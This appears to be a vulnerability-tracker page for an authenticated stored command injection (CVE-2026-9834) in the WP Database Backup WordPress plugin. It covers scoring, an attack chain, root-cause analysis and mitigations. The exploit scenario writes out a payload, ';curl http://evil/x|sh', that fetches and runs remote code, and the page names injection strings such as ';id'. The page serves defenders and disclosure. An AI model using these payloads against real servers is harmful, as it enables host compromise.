Skip to main content

WP Database Backup EUVDEUVD-2026-41262

| CVE-2026-9834 HIGH
Command Injection (CWE-77)
2026-07-02 Wordfence GHSA-9g3c-r4j4-8m9r
7.2
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain WordPress admin access
  2. Delivery
    Open WP Database Backup settings form
  3. Exploit
    Inject shell metacharacters into wp_db_exclude_table
  4. Execution
    Payload stored in wp_options via update_option
  5. Persist
    Backup job runs mysqldump via shell_exec
  6. Impact
    Arbitrary OS commands execute on server

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated WordPress account with administrator-level privileges or above (CVSS PR:H), and requires that the target has the WP Database Backup plugin (version ≤ 7.11) installed and active. The specific injection point is the wp_db_exclude_table field of the plugin's settings/backup form; the attacker submits shell metacharacters (;, |, backtick, $()) in that parameter, which survive sanitize_text_field() filtering. Execution is not instantaneous on submission - the stored payload fires when a backup operation invokes the mysqldump() function via shell_exec(), so a backup must actually run (manually triggered or scheduled). Limiting factors: the hard requirement for admin-level WordPress access sharply narrows the attacker population, and the server must have the mysqldump/shell_exec path reachable (shell_exec not disabled by PHP configuration).

Impact

The CVSS 3.1 base score of 7.2 (High) with vector AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H reflects the defining trade-off: network-reachable and low-complexity, but gated behind PR:H - the attacker must already hold administrator-level WordPress access. That prerequisite substantially lowers real-world urgency compared to an unauthenticated RCE, because an attacker with WP admin already has significant control (plugin/theme editing often already yields code execution on many installs). No EPSS score, no CISA KEV entry, and no public POC were provided, so all three exploitation-probability signals are absent or negative; there is no public exploit identified at time of analysis. The primary value of this bug to an attacker is as a clean, reliable escalation from application-layer admin to OS command execution, and as a stored persistence vector since the payload executes on a normal backup operation. One mild tension worth verifying: the vector uses AV:N because the payload is delivered over the network via the settings form, yet actual command execution occurs server-side during a later backup job rather than in a single request.

Exploit ScenarioDerived

An attacker who has obtained WordPress administrator credentials (via phishing, credential reuse, or a lower-privilege escalation) opens the WP Database Backup settings page and submits an exclude-table value containing a shell payload such as ';curl http://evil/x|sh'. Because the value is stored and only tag-sanitized, it persists and executes with the web server's privileges the next time any backup job runs, giving the attacker OS command execution. No public POC or active exploitation is identified at time of analysis.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 2.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 02, 2026

Authenticated OS command injection in the WP Database Backup plugin for WordPress (all versions up to and including 7.11) lets administrator-level users execute arbitrary operating system commands on the underlying server, escalating a WordPress admin foothold into full host RCE. The flaw stems from the wp_db_exclude_table POST parameter being concatenated unescaped into the mysqldump shell command; the injection is stored, so payloads persist in the options table and fire whenever a backup runs. Reported by Wordfence with no public exploit identified at time of analysis and no CISA KEV listing.

RemediationAI

No vendor-released patched version is identified in the provided data; a WordPress plugin trac changeset (3574273) is referenced (https://plugins.trac.wordpress.org/changeset?reponame=&old=3574273%40wp-database-backup&new=3574273%40wp-database-backup) which may contain the fix, but a specific fixed release version is not independently confirmed here - administrators should consult the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/0a97a217-b00b-4268-a472-8d62ae1d18e3?source=cve) and update to the latest plugin release once a fixed version is published. As compensating controls until a confirmed patched version is installed: deactivate the WP Database Backup plugin to eliminate the code path entirely (trade-off: you lose scheduled/automated backups and must back up the database by another means such as mysqldump run outside WordPress or a host-level snapshot); tightly restrict who holds WordPress administrator accounts and enforce strong MFA on them, since only admins can reach the vulnerable settings form; and inspect the wp_db_exclude_table value stored in the wp_options table for shell metacharacters such as ;, |, backticks or $() and clear any suspicious value before the next backup runs, since the stored injection would otherwise fire on the next backup regardless of who triggers it.

Affected VersionsENISA

WP Database Backup – Unlimited Database & Files Backup by Backup for WP 0 ≤7.11

Affected Packages

euvd wp_database_backup_unlimited_database_files_backup_by_backup_for_wp no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability lives in the mysqldump() function of includes/admin/class-wpdb-admin.php, where the plugin builds a shell command string to invoke the mysqldump binary via shell_exec(). CWE-77 (Command Injection) is the root-cause class: every other argument in that command (DB_USER, DB_PASSWORD, host, filename, DB_NAME) is wrapped in escapeshellarg(), but the user-supplied exclude-table values are concatenated directly. The only filtering applied is sanitize_text_field() through recursive_sanitize_text_field(), which strips HTML tags but leaves shell metacharacters such as ;, |, backtick, and $() fully intact, so a value like ';id' or $(command) breaks out of the intended argument context. The CPE cpe:2.3:a:databasebackup:wp_database_backup_-_unlimited_database_&_files_backup_by_backup_for_wp:*:* identifies the affected package, a WordPress backup plugin written in PHP.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 7.2 HIGH
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 7.2 HIGH

Payload is delivered over the network (AV:N) with low complexity, but requires administrator privileges (PR:H) and no user interaction; command execution yields full host compromise, so C/I/A all High.

3.1 AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

The WP Database Backup - Unlimited Database & Files Backup by Backup for WP plugin for WordPress is vulnerable to OS Command Injection in all versions up to and including 7.11 via the wp_db_exclude_table parameter. This is due to the direct concatenation of user-supplied $_POST['wp_db_exclude_table'] values into the mysqldump shell command string in the mysqldump() function of includes/admin/class-wpdb-admin.php without wrapping them in escapeshellarg()-every other argument in the same command (DB_USER, DB_PASSWORD, host, filename, DB_NAME) is properly escaped, making the exclude-table values the sole exception-and because the only applied filtering, sanitize_text_field() via recursive_sanitize_text_field(), strips HTML tags but leaves shell metacharacters such as ;, |, ` `, and $() intact. This makes it possible for authenticated attackers, with administrator-level access and above, to execute arbitrary operating system commands on the server, potentially enabling full remote code execution. The injection is stored: malicious values submitted through the plugin settings form are persisted to the WordPress options table via update_option('wp_db_exclude_table') and later retrieved with get_option() and passed unsanitized to shell_exec()` whenever a backup operation runs.

Executive ViewAI

Why It Matters

The WP Database Backup plugin (versions ≤7.11) contains an authenticated command injection vulnerability allowing WordPress administrator-level accounts to execute arbitrary operating system commands, escalating administrative access into complete server compromise. Organizations running this plugin face a critical privilege escalation risk where any compromised admin account can weaponize the backup function to gain shell access to the underlying server. This vulnerability must be treated as a server takeover vector for any site where admin accounts are at risk.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: disable plugin if non-critical to backup workflow; restrict WordPress administrator privilege grants to essential personnel; monitor mysqldump and backup-related process execution for anomalous command syntax; enable database query logging to detect options table modifications; implement network egress controls limiting outbound shell commands from the web server process; consider read-only restrictions on the WordPress options table where possible.

Threat Intelligence Overview

EPSS Score
2.7%
Top 16% exploitable
Prevalence
Low
niche WordPress backup plugin, modest install base versus core plugins
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 2.7%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

39
Low Medium High Critical
KEV: 0
EPSS: +3
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy